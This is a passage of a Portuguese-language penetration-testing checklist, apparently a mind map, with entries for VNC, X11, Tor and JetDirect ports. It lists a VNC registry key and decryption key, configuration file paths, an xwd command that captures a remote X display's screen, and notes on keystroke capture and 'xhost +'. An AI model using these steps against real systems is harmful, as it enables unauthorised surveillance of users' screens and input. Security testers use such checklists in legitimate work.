          - \HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3
        - Chave de descriptografia
          - 0x238210763578887
  - Examinar arquivos de configuração
    - .vnc
    - /etc/vnc/config
    - $HOME/.vnc/config
    - /etc/sysconfig/vncservers
    - /etc/vnc.conf
- Porta X11 6000 ^ aberta
  - Enumeração X11
    - Listar janelas abertas
    - Método de autenticação
      - Xauth
      - Xhost
  - Exploração X11
    - xwd
      - xwd -display 192.168.0.1:0 -root -out 192.168.0.1.xpm

        - Teclas
            - Recebido
            - Transmitido
        - Capturas de tela
        - xhost +
    - Examine os arquivos de configuração
        - /etc/Xn.hosts
        - /usr/lib/X11/xdm
            - Pesquise em todos os arquivos o comando "xhost +" ou "/usr/bin/X11/xhost +"
        - /usr/lib/X11/xdm/xsession
        - /usr/lib/X11/xdm/xsession-remote
        - /usr/lib/X11/xdm/xsession.0
        - /usr/lib/X11/xdm/xdm-config
            - DisplayManager*autorizar:ativado
- Porta Tor 9001, 9030 aberta
    - Verificador de nó Tor
        - Páginas IP
        - www.kewlio.net
    - script nmap NSE
- Jet Direct 9100 aberto
    - hijetta